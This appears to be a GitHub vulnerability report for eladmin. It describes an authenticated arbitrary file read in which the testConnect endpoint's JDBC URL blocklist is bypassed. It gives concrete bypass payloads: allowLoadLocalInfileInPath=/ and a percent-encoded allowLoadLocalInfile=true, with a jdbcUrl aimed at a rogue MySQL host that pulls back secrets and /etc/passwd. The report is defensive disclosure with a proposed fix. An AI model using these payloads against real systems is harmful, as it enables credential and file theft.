#904·eladmin

Arbitrary file read via /api/database/testConnect: the sanitizeJdbcUrl blocklist is bypassable

Author: MarkLee131Created Jun 3, 2026Updated Jun 3, 2026

POST /api/database/testConnect lets an authenticated user read arbitrary files off the eladmin host. Point jdbcUrl at a MySQL server you control, and the connection attempt pulls a local file back through LOAD DATA LOCAL INFILE. SqlUtils.sanitizeJdbcUrl is supposed to strip the parameters that enable this, but it doesn't catch them.

The filter, https://github.com/elunez/eladmin/blob/55fbf705956949697dbd68bf9003776609d3d029/eladmin-system/src/main/java/me/zhengjie/modules/maint/util/SqlUtils.java#L209-L232

Two ways around it, both confirmed against the driver:

  1. allowLoadLocalInfileInPath=/ isn't in the list at all. It turns on LOAD DATA LOCAL INFILE for any file under that path (connector/j 8.0.22+), regardless of allowLoadLocalInfile. Same parameter as Apache InLong's CVE-2023-34434.
  2. Percent-encode the name. %61%6C%6C%6F%77%4C%6F%61%64%4C%6F%63%61%6C%49%6E%66%69%6C%65=true decodes to allowLoadLocalInfile=true. The regex only matches the literal name, but the driver decodes the URL first.

testConnect forwards the request body's jdbcUrl straight down: testConnect -> databaseService.testConnection -> SqlUtils.testConnection -> getDataSource -> sanitizeJdbcUrl -> DruidDataSource.init(). It needs the database:testConnect permission, so it's authenticated, not pre-auth.

I ran it with mysql-connector-j 8.0.33 (what the 2.7.18 BOM pulls) and DruidDataSource the same way SqlUtils does, against a rogue MySQL server that answers the first query with a LOAD DATA LOCAL INFILE for a file I pick. I called SqlUtils.testConnection directly rather than spin up the whole app, since the controller just passes the body through. With db.password=SECRET123 in a file on the victim side and

jdbc:mysql://<rogue-host>:<port>/test?allowLoadLocalInfileInPath=/&useSSL=false

the rogue server gets back db.password=SECRET123. Same with /etc/passwd or the datasource config. Affects current master (2.x); eladmin-mp ships the identical sanitizeJdbcUrl.

#900 reports the same endpoint as an SSRF issue and calls the blocklist bypassable but doesn't say with what :). Its repro stays on internal-host probing and lists file read only as a hypothetical. The above is the file read actually carried out: the specific parameters that survive the filter, an exfiltration I ran end to end against a real driver, and a patch with regression tests for both bypasses.

Impact: authenticated arbitrary file read on the host (DB creds, config, container tokens, anything the JVM user can read). Knock PR down if database:testConnect is admin-only in your default roles.

Fix is to parse the query and drop any param whose decoded, lower-cased name is dangerous instead of rewriting =true. A prefix check on allowloadlocalinfile covers both the plain and the InPath form, and decoding before the check closes the encoding gap. I've got a patch with a test for both bypasses and can send a PR.